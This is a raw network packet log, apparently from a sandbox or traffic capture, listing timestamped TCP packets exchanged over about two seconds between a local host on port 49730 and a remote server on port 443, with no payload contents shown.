Dec 27, 2024 20:43:58.406881094 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.406896114 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.406944036 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.413783073 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.413801908 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.413891077 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.413897991 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.413949013 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.420893908 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.420908928 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.421052933 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.421058893 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.421108007 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.427036047 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.427051067 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.427134037 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.427148104 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.427218914 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.434508085 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.434533119 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.434612989 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.434628010 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.434700966 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.440690041 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.440710068 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.440788031 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.440795898 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.440840006 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.447643995 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.447664022 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.447731018 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.447737932 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.447788000 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.454801083 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.454818010 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.454936981 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.454946041 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.455005884 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.607889891 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.607908964 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.608010054 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.608019114 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.608098030 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.614490032 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.614506960 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.614599943 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.614605904 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.614641905 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.621229887 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.621247053 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.621407986 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.621419907 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.621498108 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.627177000 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.627190113 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.627274036 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.627286911 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.627334118 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.634273052 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.634288073 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.634430885 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.634443998 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.634497881 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.640192986 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.640208960 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.640331984 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.640338898 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.640391111 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.646929979 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.646945000 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.647025108 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.647030115 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.647104025 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.653575897 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.653590918 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.653795958 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.653805971 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.653861046 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.809784889 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.809806108 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.809890985 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.809900045 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.809948921 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.815675020 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.815689087 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.815767050 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.815773010 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.815825939 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.822357893 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.822372913 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.822443008 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.822448969 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.822509050 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.829083920 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.829097986 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.829185963 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.829191923 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.829238892 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.835383892 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.835398912 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.835474014 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.835479975 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.835541964 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.842112064 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.842125893 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.842199087 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.842206001 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.842252970 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.847995996 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.848011017 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.848083973 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.848088026 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.848190069 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.854783058 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.854796886 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.854870081 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:58.854876041 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:58.854919910 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.010641098 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.010662079 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.010823965 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.010829926 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.010890007 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.017513037 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.017532110 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.017652988 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.017657995 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.017719030 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.024039984 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.024059057 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.024138927 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.024143934 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.024215937 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.030941010 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.030956030 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.031025887 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.031029940 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.031075954 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.037192106 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.037208080 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.037271023 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.037276030 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.037313938 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.043081045 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.043098927 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.043165922 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.043169975 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.043220997 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.049814939 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.049829960 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.049905062 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.049911976 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.049959898 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.056438923 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.056454897 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.056533098 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.056539059 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.056605101 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.212490082 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.212517023 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.212639093 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.212646961 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.212704897 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.219044924 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.219063044 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.219141006 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.219146967 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.219197989 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.225830078 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.225847006 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.225919008 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.225924015 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.225989103 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.231817007 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.231832027 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.231900930 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.231906891 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.231949091 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.238009930 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.238024950 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.238107920 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.238116026 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.238159895 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.244774103 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.244790077 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.244853020 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.244858027 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.244900942 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.251427889 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.251442909 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.251530886 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.251537085 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.251586914 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.258234978 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.258251905 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.258313894 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.258322001 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.258368969 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.414330959 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.414351940 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.414427996 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.414434910 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.414475918 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.420126915 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.420142889 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.420209885 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.420214891 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.420258999 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.426959991 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.426976919 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.427146912 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.427153111 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.427239895 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.433599949 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.433613062 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.433718920 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.433723927 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.433819056 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.439831972 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.439846992 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.439944983 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.439949989 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.440001965 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.446604967 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.446620941 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.446841955 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.446846962 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.446891069 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.452595949 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.452610970 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.452677965 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.452685118 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.452730894 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.459173918 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.459189892 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.459244013 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.459249973 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.459295988 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.615216970 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.615246058 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.615307093 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.615319967 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.615370989 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.616034031 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.621912003 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.621956110 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.622041941 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.622047901 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.622097015 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.628693104 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.628707886 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.628773928 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.628779888 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.628845930 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.634485006 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.634500980 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.634598970 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.634603977 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.634686947 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.641683102 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.641696930 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.641765118 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.641769886 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.641815901 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.647597075 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.647610903 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.647702932 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.647707939 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.647766113 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.654258013 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.654274940 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.654342890 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.654347897 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.654417038 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.660906076 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.660922050 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.661022902 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.661032915 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.661075115 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.820168972 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.820193052 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.820285082 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.820293903 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.820346117 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.826148987 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.826164961 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.826261044 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.826267958 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.826334953 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.832751989 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.832766056 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.832854033 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.832859039 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.832914114 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.839499950 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.839538097 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.839615107 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.839628935 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.839696884 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.845366955 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.845382929 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.845457077 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.845470905 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.845520973 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.852480888 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.852499008 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.852611065 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.852623940 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.852674007 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.858401060 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.858419895 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.858484983 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.858499050 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.858555079 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.882504940 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.882524967 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.882704020 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:43:59.882719040 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:43:59.882767916 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.021470070 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.021492004 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.021605968 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.021616936 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.021667957 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.027435064 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.027451038 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.027525902 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.027533054 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.027571917 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.034158945 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.034173965 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.034259081 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.034265995 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.034306049 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.040783882 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.040798903 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.040879965 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.040884972 CET	443	49730	172.67.153.170	192.168.2.4
Dec 27, 2024 20:44:00.040925026 CET	49730	443	192.168.2.4	172.67.153.170
Dec 27, 2024 20:44:00.047578096 CET	443	49730	172.67.153.170	192.168.2.4
